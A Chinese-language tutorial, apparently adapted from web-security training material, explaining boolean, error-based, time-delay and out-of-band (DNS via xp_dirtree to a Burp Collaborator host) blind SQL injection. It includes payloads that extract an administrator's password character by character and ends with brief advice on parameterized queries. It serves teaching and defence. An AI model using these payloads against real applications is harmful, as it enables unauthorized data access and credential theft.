Blind SQL injection：盲注详解

什么是盲注？

当应用程序易受SQL注入攻击，但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时，就会出现盲SQL注入。

对于盲目SQL注入漏洞，许多技术（如联合攻击）都是无效的，因为它们依赖于能够在应用程序的响应中看到注入查询的结果。但是我们仍然可以利用盲SQL注入来访问未经授权的数据，但必须使用更高级的技术。

通过触发条件响应来利用盲注

考虑一个应用跟踪cookies收集关于使用的分析的应用程序。对应用程序的请求包括如下cookie头：

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4 

当一个请求包含TrackingId cookie而被处理的时候，应用程序使用如下SQL语句查询确定该用户是否为已知用户：

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

此SQL语句很容易受到SQL注入攻击，但查询结果不会返回给用户。
但是，根据查询是否返回任何数据，应用程序的行为会有所不同。
比如它真的返回了数据（由于提交了可识别的TrackingId，也就是说这个用户是真实的），那么页面中可能将显示“欢迎回来”消息。

此结果足以加以利用成为盲注漏洞，并根据注入的条件由此触发不同的响应来检索信息。
现在我们要了解其工作原理，假设发送的两个请求依次包含以下TrackingId cookie值：

…xyz' AND '1'='1
…xyz' AND '1'='2

其中第一个值将导致查询返回结果，因为注入的和’1’='1条件为true，因此将显示“欢迎返回”消息。
而第二个值将导致查询不返回任何结果，因为注入的条件为false，因此不会显示“欢迎返回”消息。
这使我们能够确定任何单一注入条件的答案，从而一次提取一位数据。

例如：假设有一个名为Users的表，其中包含Username和Password列，还有一个名为Administrator的用户。我们可以通过发送一系列输入，一次测试一个字符的密码，系统地确定该用户的密码。
为此，我们从以下输入开始：

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

SUBSTR (str, pos, len) 由 <str> 中的第 <pos> 位置开始，选出接下去的 <len> 个字元。

这将返回“欢迎返回”消息，指示注入的条件为true，因此密码的第一个字符大于m。

接下来，我们发送以下输入：

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

这不会返回“欢迎返回”消息，表明注入的条件为false，因此密码的第一个字符不大于t。

最后，我们发送以下输入，返回“欢迎返回”消息，从而确认密码的第一个字符是s：

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

我们可以继续此过程，系统地确定管理员用户的完整密码。

详细靶场实战：
https://blog.csdn.net/ZripenYe/article/details/119771780

通过触发SQL错误来诱导条件响应

现在利用前面的例子，假设我们输入执行相同的SQL查询，但根据查询语句返回的任何数据，其结果不会有任何不同，意思就是说，没有了那个welcome。此时前面的技术不起作用，因为注入不同的布尔条件对应用程序的响应没有影响。

在这种情况下，通常可以根据注入的条件有目的去触发SQL错误，从而使应用程序返回条件的响应。这涉及到修改查询，所以我们需要在条件为true时导致数据库错误，而不是在条件为false时导致数据库错误。

应用程序的响应的不同情况（例如错误消息），从而允许我们推断注入条件的真实性。

要了解其工作原理，假设发送的两个请求依次包含以下TrackingId cookie值：

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

这些输入使用CASE关键字测试条件，并根据表达式是否为真返回不同的表达式。对于第一个输入，CASE表达式的计算结果为“a”，这不会导致任何错误。对于第二个输入，它的计算结果为1/0，这会导致被零除的错误。假设该错误导致应用程序的HTTP响应存在某些差异，我们可以使用此差异来推断注入的条件是否为真。

使用此技术，我们可以通过一次系统地测试一个字符，以前面描述的方式检索数据：

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a 

详细靶场实战链接：
https://blog.csdn.net/ZripenYe/article/details/119773320

利用触发时间延迟的盲注

在前面的示例中，假设应用程序现在捕获数据库错误并隐秘地处理它们。
即在执行注入的SQL查询时触发数据库错误不再会导致应用程序的任何响应，也就是不再报出任何错误，因此前面的诱导条件错误的技术将不起作用。

在这种情况下，通常可以根据注入的条件有目的地触发时间延迟，从而利用盲SQL注入漏洞。由于SQL查询通常由应用程序同步处理，因此延迟SQL查询的执行也会延迟HTTP响应。这允许我们根据接收HTTP响应之前所花费的时间推断注入条件的真实性。

触发时间延迟的技术非常特定于所使用的数据库类型。在Microsoft SQL Server上，根据表达式是否为真，可以使用以下输入来测试条件并触发延迟：

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'-- 

第一个输入不会触发延迟，因为条件1=2为假。
第二个输入将触发10秒的延迟，因为条件1=1为真。
使用此技术，我们可以通过一次系统地测试一个字符，以前面描述的方式检索数据：

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- 

COUNT(column_name) 函数返回指定列的值的数目（NULL 不计入）

实战代码链接：
https://blog.csdn.net/ZripenYe/article/details/119774782

利用out-of-band techniques (OAST)进行盲注

现在，假设应用程序执行相同的SQL查询，但它是异步执行的。
应用程序继续在原始线程中处理用户的请求，并使用另一个线程使用跟踪cookie执行SQL查询。查询仍然容易受到SQL注入的攻击，但是到目前为止所描述的技术都不起作用：应用程序的响应不取决于查询是否返回任何数据、是否发生数据库错误或执行查询所用的时间。

在这种情况下，通常可以通过触发到您控制的系统的带外网络交互来利用盲目SQL注入漏洞。如前所述，可根据注入条件有条件地触发这些信息，以一次一位地推断信息。但更强大的是，数据可以直接在网络交互本身中过滤。

为此可以使用多种网络协议，但通常最有效的是DNS（域名服务）。这是因为许多生产网络允许DNS查询自由出口，因为它们对于生产系统的正常运行至关重要。

使用带外技术最简单、最可靠的方法是使用Burp Collaborator。这是一个服务器，提供各种网络服务（包括DNS）的自定义实现，并允许您检测何时由于向易受攻击的应用程序发送单个有效负载而发生网络交互。Burp Suite Professional内置了对Burp Collaborator的支持，无需配置。

触发DNS查询的技术非常特定于所使用的数据库类型。在Microsoft SQL Server上，可以使用以下输入在指定域上进行DNS查找：

'; exec master..xp_dirtree 
'//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'-- 

这将导致数据库对以下域执行查找：

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net 

您可以使用Burp Suite的Collaborator client生成唯一的子域，并轮询Collaborator服务器以确认何时发生任何DNS查找。

实战链接：
https://blog.csdn.net/ZripenYe/article/details/119780006

How to prevent blind SQL injection attacks?

尽管与常规SQL注入相比，发现和利用盲SQL注入漏洞所需的技术不同且更复杂，但无论漏洞是否为盲漏洞，防止SQL注入所需的措施都是相同的。

与常规SQL注入一样，可以通过谨慎使用参数化查询来防止盲目的SQL注入攻击，从而确保用户输入不会干扰预期SQL查询的结构。